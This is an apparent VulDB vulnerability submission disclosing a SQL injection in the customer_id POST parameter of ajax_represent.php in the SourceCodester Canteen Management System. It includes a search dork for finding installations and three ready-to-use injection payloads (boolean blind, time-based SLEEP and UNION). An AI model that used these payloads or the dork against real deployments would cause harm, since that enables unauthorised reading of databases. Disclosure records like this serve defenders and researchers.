| 标题 | Canteen Management System ajax_represent.php sql injection |
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| 描述 | Canteen Management System ajax_represent.php sql injection
inurl:youthappam/php_action/ajax_represent.php
Abstract:
Line 27 of ajax_represent.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
1. Data enters a program from an untrusted source.
2. The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in ajax_represent.php at line 27.
payload:
Parameter: customer_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: customer_id=1' AND 4961=4961 AND 'mqPP'='mqPP
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: customer_id=1' AND (SELECT 6401 FROM (SELECT(SLEEP(5)))eypH) AND 'vuyE'='vuyE
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: customer_id=-9319' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b7671,0x6c415159714766417374776d5443614642596d75705455494944776c49436974744d56574146766d,0x7171717871),NULL,NULL,NULL,NULL-- -
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
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| 来源 | ⚠️ https://blog.csdn.net/hzwsuki/article/details/128277038 |
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| 用户 | huangsir (UID 37291) |
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| 提交 | 2022-12-11 11時15分 (4 年前) |
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| 管理 | 2022-12-11 12時30分 (1 hour later) |
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| 状态 | 已接受 |
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| VulDB条目 | 215272 [SourceCodester Canteen Management System ajax_represent.php customer_id SQL注入] |
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| 积分 | 20 |
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